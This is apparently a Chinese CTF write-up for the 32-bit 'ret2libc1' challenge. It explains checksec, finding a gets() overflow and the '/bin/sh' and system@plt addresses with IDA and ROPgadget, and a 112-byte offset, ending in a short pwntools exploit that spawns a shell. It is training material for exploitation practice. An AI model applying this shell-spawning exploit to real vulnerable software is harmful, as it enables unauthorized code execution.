1.checksec保护机制

开启NX保护并且是32位
运行一下,退出
2.拖进32位ida
main函数
首先找bin/sh

gets函数明显栈溢出

shift+F12找到bin/sh
或者

用以上命令ropgadget来寻找
新手小白建议用ropgadget来寻找,因为直接从ida中看对新手小白容易看错地址(下面还有一个地址)
接下来找system函数


ida/linux都可

计算偏移量

偏移量112
最后构造exp
from pwn import*
p=process('./ret2libc1')
binsh_addr=0x08048720
system_plt=0x08048460
payload=flat([b'a'*112,system_plt,'b'*4,binsh_addr])
p.sendline(payload)
p.interactive()
链接成功

cat flag
本文介绍了如何在32位程序中利用checksec开启的NX保护下,通过找到并利用栈溢出漏洞,找到bin/sh地址,计算system函数偏移,最终使用ropgadget实现ret2libc攻击。详细步骤包括IDA工具操作和payload构造。
378

被折叠的 条评论
为什么被折叠?



